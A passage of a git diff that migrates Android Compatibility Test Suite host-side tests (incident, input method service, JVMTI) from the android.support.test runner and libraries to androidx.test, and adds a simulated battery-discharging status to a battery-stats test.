LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
androidx.legacy_legacy-support-v4
LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/incident/apps/notificationsapp/AndroidManifest.xml b/hostsidetests/incident/apps/notificationsapp/AndroidManifest.xml
index efafd69..7872b9e 100644
--- a/hostsidetests/incident/apps/notificationsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/notificationsapp/AndroidManifest.xml
@@ -22,6 +22,6 @@
<activity android:name=".NotificationIncidentTestActivity" android:exported="true" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.server.cts.procstats" />
</manifest>
diff --git a/hostsidetests/incident/apps/procstatsapp/Android.mk b/hostsidetests/incident/apps/procstatsapp/Android.mk
index 47b9c77..9676ee8 100644
--- a/hostsidetests/incident/apps/procstatsapp/Android.mk
+++ b/hostsidetests/incident/apps/procstatsapp/Android.mk
@@ -27,8 +27,8 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
androidx.legacy_legacy-support-v4
LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/incident/apps/procstatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/procstatsapp/AndroidManifest.xml
index a0cccb4..4b68a0e 100644
--- a/hostsidetests/incident/apps/procstatsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/procstatsapp/AndroidManifest.xml
@@ -22,6 +22,6 @@
<activity android:name=".SimpleActivity" android:exported="true" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.server.cts.procstats" />
</manifest>
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
index 9234387..bbdcb08 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
@@ -72,6 +72,9 @@
public static final String KEY_REQUEST_CODE = "request_code";
public static final String BG_VS_FG_TAG = "BatteryStatsBgVsFgActions";
+ // Constants from BatteryMangager.
+ public static final int BATTERY_STATUS_DISCHARGING = 3;
+
@Override
protected void setUp() throws Exception {
super.setUp();
@@ -109,11 +112,13 @@
protected void batteryOnScreenOn() throws Exception {
getDevice().executeShellCommand("dumpsys battery unplug");
+ getDevice().executeShellCommand("dumpsys battery set status " + BATTERY_STATUS_DISCHARGING);
getDevice().executeShellCommand("dumpsys batterystats disable pretend-screen-off");
}
protected void batteryOnScreenOff() throws Exception {
getDevice().executeShellCommand("dumpsys battery unplug");
+ getDevice().executeShellCommand("dumpsys battery set status " + BATTERY_STATUS_DISCHARGING);
getDevice().executeShellCommand("dumpsys batterystats enable pretend-screen-off");
}
diff --git a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
index b17f3c4..13718a9 100644
--- a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
+++ b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
@@ -38,9 +38,9 @@
import com.google.protobuf.Parser;
import java.io.FileNotFoundException;
+import java.util.Map;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
-import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -70,7 +70,7 @@
protected IBuildInfo mCtsBuild;
- private static final String TEST_RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+ private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
@Override
protected void setUp() throws Exception {
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
index 1727ad7..636d3ab 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
@@ -29,7 +29,7 @@
LOCAL_JAVA_RESOURCE_DIR := res
LOCAL_JAVA_LIBRARY := android.test.runner.stubs
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
hamcrest hamcrest-library \
ub-uiautomator \
CtsInputMethodServiceCommon \
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml b/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml
index e585bcb..fa6d62d 100755
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml
@@ -33,7 +33,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.inputmethodservice.cts.devicetest" />
</manifest>
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
index 9b8e4e0..a406387 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -49,7 +49,7 @@
import android.inputmethodservice.cts.common.test.ShellCommandUtils;
import android.inputmethodservice.cts.devicetest.SequenceMatcher.MatchResult;
import android.os.SystemClock;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.UiObject2;
import org.junit.Test;
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
index dda48a0..20df53a 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
@@ -29,13 +29,13 @@
import android.inputmethodservice.cts.common.EventProviderConstants.EventTableConstants;
import android.inputmethodservice.cts.common.test.TestInfo;
import android.net.Uri;
-import androidx.annotation.IdRes;
-import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.Until;
+import androidx.test.InstrumentationRegistry;
+
import java.io.IOException;
import java.util.concurrent.TimeUnit;
import java.util.function.Predicate;
diff --git a/hostsidetests/inputmethodservice/deviceside/edittextapp/AndroidManifest.xml b/hostsidetests/inputmethodservice/deviceside/edittextapp/AndroidManifest.xml
index 7565023..faebb9f 100755
--- a/hostsidetests/inputmethodservice/deviceside/edittextapp/AndroidManifest.xml
+++ b/hostsidetests/inputmethodservice/deviceside/edittextapp/AndroidManifest.xml
@@ -41,6 +41,6 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.inputmethodservice.cts.edittextapp" />
</manifest>
diff --git a/hostsidetests/jvmti/allocation-tracking/app/AndroidManifest.xml b/hostsidetests/jvmti/allocation-tracking/app/AndroidManifest.xml
index 76d753c..024f084 100755
--- a/hostsidetests/jvmti/allocation-tracking/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/allocation-tracking/app/AndroidManifest.xml
@@ -26,7 +26,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.tracking" >
</instrumentation>
diff --git a/hostsidetests/jvmti/base/app/Android.mk b/hostsidetests/jvmti/base/app/Android.mk
index 1c9b276..5d75568 100644
--- a/hostsidetests/jvmti/base/app/Android.mk
+++ b/hostsidetests/jvmti/base/app/Android.mk
@@ -22,7 +22,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/base/app/src/android/jvmti/cts/JvmtiTestBase.java b/hostsidetests/jvmti/base/app/src/android/jvmti/cts/JvmtiTestBase.java
index 0b54a93..c67f9b8 100644
--- a/hostsidetests/jvmti/base/app/src/android/jvmti/cts/JvmtiTestBase.java
+++ b/hostsidetests/jvmti/base/app/src/android/jvmti/cts/JvmtiTestBase.java
@@ -15,15 +15,16 @@
*/
package android.jvmti.cts;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+import android.jvmti.JvmtiActivity;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Rule;
import org.junit.runner.RunWith;
-import android.jvmti.JvmtiActivity;
import art.CtsMain;
/**
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
index edc685a..c7ceba6 100644
--- a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
+++ b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
@@ -45,7 +45,7 @@
* test run and attaches the agent.
*/
public class JvmtiHostTest extends DeviceTestCase implements IBuildReceiver, IAbiReceiver {
- private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+ private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
// inject these options from HostTest directly using --set-option <option name>:<option value>
@Option(name = "package-name",
description = "The package name of the device test",
diff --git a/hostsidetests/jvmti/redefining/app/AndroidManifest.xml b/hostsidetests/jvmti/redefining/app/AndroidManifest.xml
index 4299b5e..33b22c3 100755
--- a/hostsidetests/jvmti/redefining/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/redefining/app/AndroidManifest.xml
@@ -26,7 +26,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.redefine" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1900/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1900/app/AndroidManifest.xml
index ef26e2a..8b06c6d 100644
--- a/hostsidetests/jvmti/run-tests/test-1900/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1900/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1900" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1901/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1901/app/AndroidManifest.xml
index a92dff1..9997f80 100644
--- a/hostsidetests/jvmti/run-tests/test-1901/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1901/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1901" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1902/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1902/app/AndroidManifest.xml
index eb40444..26a5320 100644
--- a/hostsidetests/jvmti/run-tests/test-1902/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1902/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1902" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1903/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1903/app/AndroidManifest.xml
index b810728..0855b59 100644
--- a/hostsidetests/jvmti/run-tests/test-1903/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1903/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1903" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1904/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1904/app/AndroidManifest.xml
index d3780f6..824445c6 100644
--- a/hostsidetests/jvmti/run-tests/test-1904/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1904/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1904" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1906/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1906/app/AndroidManifest.xml
index 120a603..4da7d10 100644
--- a/hostsidetests/jvmti/run-tests/test-1906/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1906/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1906" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1907/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1907/app/AndroidManifest.xml
index b939d8e..03d9372 100644
--- a/hostsidetests/jvmti/run-tests/test-1907/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1907/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1907" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1908/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1908/app/AndroidManifest.xml
index 89b460d..01d9952 100644
--- a/hostsidetests/jvmti/run-tests/test-1908/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1908/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1908" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1909/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1909/app/AndroidManifest.xml
index 99cc928..d5041be 100644
--- a/hostsidetests/jvmti/run-tests/test-1909/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1909/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1909" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1910/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1910/app/AndroidManifest.xml
index 1c27327..4f2241e 100644
--- a/hostsidetests/jvmti/run-tests/test-1910/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1910/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1910" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1911/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1911/app/AndroidManifest.xml
index 241f87d..a410a8a 100644
--- a/hostsidetests/jvmti/run-tests/test-1911/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1911/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1911" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1912/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1912/app/AndroidManifest.xml
index 6a922db..096209f 100644
--- a/hostsidetests/jvmti/run-tests/test-1912/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1912/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1912" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1913/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1913/app/AndroidManifest.xml
index 18759ae..226c457 100644
--- a/hostsidetests/jvmti/run-tests/test-1913/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1913/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1913" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1914/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1914/app/AndroidManifest.xml
index f684c4e..86de3c0 100644
--- a/hostsidetests/jvmti/run-tests/test-1914/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1914/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1914" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1915/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1915/app/AndroidManifest.xml
index 1212553..df7395c 100644
--- a/hostsidetests/jvmti/run-tests/test-1915/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1915/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1915" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1916/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1916/app/AndroidManifest.xml
index 9aacae5..dd3d538 100644
--- a/hostsidetests/jvmti/run-tests/test-1916/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1916/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1916" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1917/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1917/app/AndroidManifest.xml
index 6bc75d6..7e9b6c8 100644
--- a/hostsidetests/jvmti/run-tests/test-1917/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1917/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1917" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1920/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1920/app/AndroidManifest.xml
index e0721f4..9667aad 100644
--- a/hostsidetests/jvmti/run-tests/test-1920/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1920/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1920" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1921/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1921/app/AndroidManifest.xml
index f49e52a..c26c45b 100644
--- a/hostsidetests/jvmti/run-tests/test-1921/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1921/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1921" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1922/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1922/app/AndroidManifest.xml
index ed425d2..25fac4b 100644
--- a/hostsidetests/jvmti/run-tests/test-1922/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1922/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1922" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1923/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1923/app/AndroidManifest.xml
index 00feead..5e3739d 100644
--- a/hostsidetests/jvmti/run-tests/test-1923/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1923/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1923" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml
index b4c0563..4388209 100644
--- a/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1924" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml
index e8fbe57..b3fab4f 100644
--- a/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1925" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml
index 4a034c2..ee5da05 100644
--- a/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1926" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1927/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1927/app/AndroidManifest.xml
index 35e619b..c019202 100644
--- a/hostsidetests/jvmti/run-tests/test-1927/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1927/app/AndroidManifest.xml
@@ -28,7 +28,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1927" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1928/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1928/app/AndroidManifest.xml
index 5e75ed0..46ef126 100644
--- a/hostsidetests/jvmti/run-tests/test-1928/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1928/app/AndroidManifest.xml
@@ -28,7 +28,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1928" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1930/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1930/app/AndroidManifest.xml
index 89fe2b3..fee588a 100644
--- a/hostsidetests/jvmti/run-tests/test-1930/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1930/app/AndroidManifest.xml
@@ -28,7 +28,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1930" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1931/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1931/app/AndroidManifest.xml
index 6372cd4..3f8fc26 100644
--- a/hostsidetests/jvmti/run-tests/test-1931/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1931/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1931" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1932/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1932/app/AndroidManifest.xml
index d22c20d..e51293c 100644
--- a/hostsidetests/jvmti/run-tests/test-1932/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1932/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1932" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1933/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1933/app/AndroidManifest.xml
index 7d0fcc6..0e30bf4 100644
